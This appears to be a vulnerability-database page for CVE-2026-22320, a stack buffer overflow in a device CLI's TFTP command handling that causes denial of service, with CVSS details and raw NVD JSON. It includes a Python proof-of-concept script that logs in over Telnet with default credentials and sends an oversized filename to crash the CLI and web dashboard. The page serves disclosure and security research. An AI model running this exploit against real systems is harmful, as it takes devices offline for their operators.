Security Vulnerability Report
中文
CVE-2026-22320 CVSS 6.5 MEDIUM

CVE-2026-22320

Published: 2026-03-18 08:16:29
Last Modified: 2026-03-18 14:52:44

Description

A stack-based buffer overflow in the CLI's TFTP file‑transfer command handling allows a low-privileged attacker with Telnet/SSH access to trigger memory corruption by supplying unexpected or oversized filename input. Exploitation results in the corruption of the internal buffer, causing the CLI and web dashboard to become unavailable and leading to a denial of service.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

CLI TFTP服务(所有未修复版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2026-22320 PoC - CLI TFTP Stack Buffer Overflow # Requires: telnetlib, socket import telnetlib import sys def cve_2026_22320_poc(target_ip, target_port=23, username='admin', password='admin'): """ Proof of Concept for CVE-2026-22320 Stack-based buffer overflow in CLI TFTP command handling """ try: # Connect via Telnet tn = telnetlib.Telnet(target_ip, target_port, timeout=10) # Handle login prompt tn.read_until(b'login: ', timeout=5) tn.write(username.encode() + b'\n') tn.read_until(b'password: ', timeout=5) tn.write(password.encode() + b'\n') tn.read_until(b'>', timeout=5) # Trigger TFTP command with oversized filename # Generate filename exceeding buffer size (typically 256+ bytes) oversized_filename = 'A' * 1000 # Overflow payload # Construct malicious TFTP command malicious_cmd = f'tftp get {oversized_filename}\n' tn.write(malicious_cmd.encode()) # Wait for crash/response response = tn.read_some(timeout=3) tn.close() print(f'[+] Payload sent: {len(oversized_filename)} bytes') print(f'[+] Response: {response}') return True except Exception as e: print(f'[-] Error: {str(e)}') return False if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: {sys.argv[0]} <target_ip> [port] [username] [password]') sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 23 user = sys.argv[3] if len(sys.argv) > 3 else 'admin' passwd = sys.argv[4] if len(sys.argv) > 4 else 'admin' cve_2026_22320_poc(target, port, user, passwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22320", "sourceIdentifier": "[email protected]", "published": "2026-03-18T08:16:29.017", "lastModified": "2026-03-18T14:52:44.227", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stack-based buffer overflow in the CLI's TFTP file‑transfer command handling allows a low-privileged attacker with Telnet/SSH access to trigger memory corruption by supplying unexpected or oversized filename input. Exploitation results in the corruption of the internal buffer, causing the CLI and web dashboard to become unavailable and leading to a denial of service."}, {"lang": "es", "value": "Un desbordamiento de búfer basado en pila en el manejo del comando de transferencia de archivos TFTP de la CLI permite a un atacante con privilegios bajos con acceso Telnet/SSH activar la corrupción de memoria al proporcionar una entrada de nombre de archivo inesperada o sobredimensionada. La explotación resulta en la corrupción del búfer interno, haciendo que la CLI y el panel web dejen de estar disponibles y provocando una denegación de servicio."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-121"}]}], "references": [{"url": "https://certvde.com/de/advisories/VDE-2025-104", "source": "[email protected]"}]}}